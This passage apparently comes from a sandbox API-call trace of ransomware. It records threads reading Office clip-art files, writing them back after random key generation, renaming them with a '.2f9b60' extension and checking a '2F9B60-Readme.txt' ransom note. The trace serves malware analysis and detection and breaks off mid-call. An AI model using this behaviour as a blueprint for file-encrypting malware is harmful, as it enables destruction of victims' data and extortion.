[0136.961] sprintf (in: _Dest=0x1cd9feb8, _Format="%c%c" | out: _Dest="b1") returned 2 [0136.961] sprintf (in: _Dest=0x1cd9feba, _Format="%c%c" | out: _Dest="c6") returned 2 [0136.961] sprintf (in: _Dest=0x1cd9febc, _Format="%c%c" | out: _Dest="42") returned 2 [0136.961] sprintf (in: _Dest=0x1cd9febe, _Format="%c%c" | out: _Dest="03") returned 2 [0136.961] sprintf (in: _Dest=0x1cd9fec0, _Format="%c%c" | out: _Dest="51") returned 2 [0136.961] sprintf (in: _Dest=0x1cd9fec2, _Format="%c%c" | out: _Dest="97") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fec4, _Format="%c%c" | out: _Dest="70") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fec6, _Format="%c%c" | out: _Dest="dc") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fec8, _Format="%c%c" | out: _Dest="24") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9feca, _Format="%c%c" | out: _Dest="e9") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fecc, _Format="%c%c" | out: _Dest="33") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fece, _Format="%c%c" | out: _Dest="21") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fed0, _Format="%c%c" | out: _Dest="5f") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fed2, _Format="%c%c" | out: _Dest="3b") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fed4, _Format="%c%c" | out: _Dest="19") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fed6, _Format="%c%c" | out: _Dest="e0") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fed8, _Format="%c%c" | out: _Dest="b8") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9feda, _Format="%c%c" | out: _Dest="a4") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fedc, _Format="%c%c" | out: _Dest="67") returned 2 [0136.962] sprintf (in: _Dest=0x1cd9fede, _Format="%c%c" | out: _Dest="f3") returned 2 [0136.962] RtlInitAnsiString (in: DestinationString=0x2883f8e8, SourceString="05c1eb23b1c64203519770dc24e933215f3b19e0b8a467f3" | out: DestinationString="05c1eb23b1c64203519770dc24e933215f3b19e0b8a467f3") [0136.962] RtlAnsiStringToUnicodeString (in: DestinationString=0x2883f8b8, SourceString="05c1eb23b1c64203519770dc24e933215f3b19e0b8a467f3", AllocateDestinationString=1 | out: DestinationString="05c1eb23b1c64203519770dc24e933215f3b19e0b8a467f3") returned 0x0 [0136.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced92b0 [0136.963] RtlFreeAnsiString (AnsiString="0") [0136.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9feb0) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1a0) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9010) returned 1 [0136.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a110) returned 1 [0136.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205cd30 [0136.964] wcscat (in: _Dest=0x4205cd30, _Source="05c1eb23b1c6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05c1eb23b1c6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05c1eb23b1c6" [0136.964] wcscat (in: _Dest=0x4205cd30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05c1eb23b1c6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05c1eb23b1c6.2f9b60" [0136.964] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05c1eb23b1c6.2f9b60", NtPathName=0x2883f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05c1eb23b1c6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c660 [0136.964] NtSetInformationFile (FileHandle=0x1dd8, IoStatusBlock=0x2883f930, FileInformation=0x2050c660, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c660) returned 1 [0146.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49620) returned 1 [0146.842] NtQueryInformationFile (in: FileHandle=0x1dd8, IoStatusBlock=0x2883f8f8, FileInformation=0x2883f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2883f8f8, FileInformation=0x2883f908) returned 0x0 [0146.842] NtSetInformationFile (FileHandle=0x1dd8, IoStatusBlock=0x2883f8f8, FileInformation=0x2883f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cd30) returned 1 [0147.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced92b0) returned 1 [0147.021] FlushFileBuffers (hFile=0x1dd8) returned 1 [0147.077] CloseHandle (hObject=0x1dd8) returned 1 [0147.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a740 [0147.082] wcscpy (in: _Dest=0x1b86a740, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.082] wcscat (in: _Dest=0x1b86a740, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a740) returned 1 [0147.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b0d0) returned 1 Thread: id = 1781 os_tid = 0x60c [0132.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf")) returned 0x20 [0133.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF", dwFileAttributes=0x20) returned 1 [0134.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1df8 [0137.055] GetFileSizeEx (in: hFile=0x1df8, lpFileSize=0x285efe00 | out: lpFileSize=0x285efe00*=8036) returned 1 [0137.055] SetFilePointerEx (in: hFile=0x1df8, liDistanceToMove=0x1f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.055] ReadFile (in: hFile=0x1df8, lpBuffer=0x285efd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285efdc8, lpOverlapped=0x0 | out: lpBuffer=0x285efd80*, lpNumberOfBytesRead=0x285efdc8*=0x4, lpOverlapped=0x0) returned 1 [0137.079] SetFilePointerEx (in: hFile=0x1df8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0137.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0137.080] NtQuerySystemTime (in: CurrentTime=0x285efcc0 | out: CurrentTime=0x285efcc0*=132462177423262000) returned 0x0 [0137.080] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x6ac95fb0 [0137.080] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x740a5f80 [0137.080] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x7a3584ce [0137.080] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x507044cd [0137.080] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x4473c38a [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0xed37d50 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x3f0f27cf [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x54bd4127 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x43aa9d61 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x11c45bd8 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x4398a1 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x5962ddd0 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x52453102 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x2e9a8a33 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x4c7f423e [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x2604b93 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x6cc62d5b [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x36b9dbe0 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x4e35222c [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x23ef336b [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x12c10c0d [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x73b00764 [0137.081] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x5d20e321 [0137.082] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x24cb253f [0137.082] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x18002acf [0137.082] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x2a60fffb [0137.082] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x1031b700 [0137.082] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x1a41d714 [0137.082] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x5b0abfa2 [0137.082] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x2796539d [0137.082] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x181173dd [0137.082] RtlRandomEx (in: Seed=0x285efcb0 | out: Seed=0x285efcb0) returned 0x6898c605 [0137.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0137.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0137.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0137.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0137.100] ReadFile (in: hFile=0x1df8, lpBuffer=0x203190f0, nNumberOfBytesToRead=0x1f64, lpNumberOfBytesRead=0x285efcb0, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesRead=0x285efcb0*=0x1f64, lpOverlapped=0x0) returned 1 [0137.145] SetFilePointerEx (in: hFile=0x1df8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.145] WriteFile (in: hFile=0x1df8, lpBuffer=0x203118d0*, nNumberOfBytesToWrite=0x1f64, lpNumberOfBytesWritten=0x285efcb4, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesWritten=0x285efcb4*=0x1f64, lpOverlapped=0x0) returned 1 [0137.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0137.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0137.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0137.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0137.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0137.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a650 [0137.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0137.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0137.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a680 [0137.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0137.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0137.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0137.237] SetFilePointerEx (in: hFile=0x1df8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.237] WriteFile (in: hFile=0x1df8, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x285efdd0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x285efdd0*=0x10a, lpOverlapped=0x0) returned 1 [0137.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0137.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7d0) returned 1 [0137.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0137.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0137.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0137.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ded0) returned 1 [0137.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ed30 [0137.258] sprintf (in: _Dest=0x1cd9ed30, _Format="%c%c" | out: _Dest="ee") returned 2 [0137.258] sprintf (in: _Dest=0x1cd9ed32, _Format="%c%c" | out: _Dest="ac") returned 2 [0137.258] sprintf (in: _Dest=0x1cd9ed34, _Format="%c%c" | out: _Dest="95") returned 2 [0137.258] sprintf (in: _Dest=0x1cd9ed36, _Format="%c%c" | out: _Dest="85") returned 2 [0137.258] sprintf (in: _Dest=0x1cd9ed38, _Format="%c%c" | out: _Dest="2e") returned 2 [0137.258] sprintf (in: _Dest=0x1cd9ed3a, _Format="%c%c" | out: _Dest="02") returned 2 [0137.258] sprintf (in: _Dest=0x1cd9ed3c, _Format="%c%c" | out: _Dest="51") returned 2 [0137.258] sprintf (in: _Dest=0x1cd9ed3e, _Format="%c%c" | out: _Dest="22") returned 2 [0137.258] sprintf (in: _Dest=0x1cd9ed40, _Format="%c%c" | out: _Dest="fe") returned 2 [0137.258] sprintf (in: _Dest=0x1cd9ed42, _Format="%c%c" | out: _Dest="1e") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed44, _Format="%c%c" | out: _Dest="e1") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed46, _Format="%c%c" | out: _Dest="e4") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed48, _Format="%c%c" | out: _Dest="d9") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed4a, _Format="%c%c" | out: _Dest="89") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed4c, _Format="%c%c" | out: _Dest="d0") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed4e, _Format="%c%c" | out: _Dest="f5") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed50, _Format="%c%c" | out: _Dest="7c") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed52, _Format="%c%c" | out: _Dest="ad") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed54, _Format="%c%c" | out: _Dest="e5") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed56, _Format="%c%c" | out: _Dest="88") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed58, _Format="%c%c" | out: _Dest="a0") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed5a, _Format="%c%c" | out: _Dest="14") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed5c, _Format="%c%c" | out: _Dest="32") returned 2 [0137.259] sprintf (in: _Dest=0x1cd9ed5e, _Format="%c%c" | out: _Dest="a6") returned 2 [0137.259] RtlInitAnsiString (in: DestinationString=0x285efe48, SourceString="eeac95852e025122fe1ee1e4d989d0f57cade588a01432a6" | out: DestinationString="eeac95852e025122fe1ee1e4d989d0f57cade588a01432a6") [0137.259] RtlAnsiStringToUnicodeString (in: DestinationString=0x285efe18, SourceString="eeac95852e025122fe1ee1e4d989d0f57cade588a01432a6", AllocateDestinationString=1 | out: DestinationString="eeac95852e025122fe1ee1e4d989d0f57cade588a01432a6") returned 0x0 [0137.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced94e0 [0137.260] RtlFreeAnsiString (AnsiString="e") [0137.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ed30) returned 1 [0137.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0137.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7d0) returned 1 [0137.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0137.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0137.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0137.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0137.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0137.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0137.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad660 [0137.261] wcscat (in: _Dest=0x1b7ad660, _Source="eeac95852e02" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\eeac95852e02") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\eeac95852e02" [0137.261] wcscat (in: _Dest=0x1b7ad660, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\eeac95852e02.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\eeac95852e02.2f9b60" [0137.261] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\eeac95852e02.2f9b60", NtPathName=0x285efdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\eeac95852e02.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bed0 [0137.261] NtSetInformationFile (FileHandle=0x1df8, IoStatusBlock=0x285efe90, FileInformation=0x2050bed0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bed0) returned 1 [0146.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffd20) returned 1 [0146.843] NtQueryInformationFile (in: FileHandle=0x1df8, IoStatusBlock=0x285efe58, FileInformation=0x285efe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x285efe58, FileInformation=0x285efe68) returned 0x0 [0146.843] NtSetInformationFile (FileHandle=0x1df8, IoStatusBlock=0x285efe58, FileInformation=0x285efe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad660) returned 1 [0147.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced94e0) returned 1 [0147.019] FlushFileBuffers (hFile=0x1df8) returned 1 [0147.072] CloseHandle (hObject=0x1df8) returned 1 [0147.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86bd30 [0147.288] wcscpy (in: _Dest=0x1b86bd30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.288] wcscat (in: _Dest=0x1b86bd30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bd30) returned 1 [0147.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b280) returned 1 Thread: id = 1782 os_tid = 0x748 [0132.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf")) returned 0x20 [0133.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF", dwFileAttributes=0x20) returned 1 [0134.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e10 [0137.262] GetFileSizeEx (in: hFile=0x1e10, lpFileSize=0x2675fb00 | out: lpFileSize=0x2675fb00*=52890) returned 1 [0137.262] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0xce96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.262] ReadFile (in: hFile=0x1e10, lpBuffer=0x2675fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2675fac8, lpOverlapped=0x0 | out: lpBuffer=0x2675fa80*, lpNumberOfBytesRead=0x2675fac8*=0x4, lpOverlapped=0x0) returned 1 [0137.265] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0137.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0137.266] NtQuerySystemTime (in: CurrentTime=0x2675f9c0 | out: CurrentTime=0x2675f9c0*=132462177425134000) returned 0x0 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x790ab1ed [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x1472d9c8 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x3b6a79b7 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x7b073fb3 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x3d8f3790 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 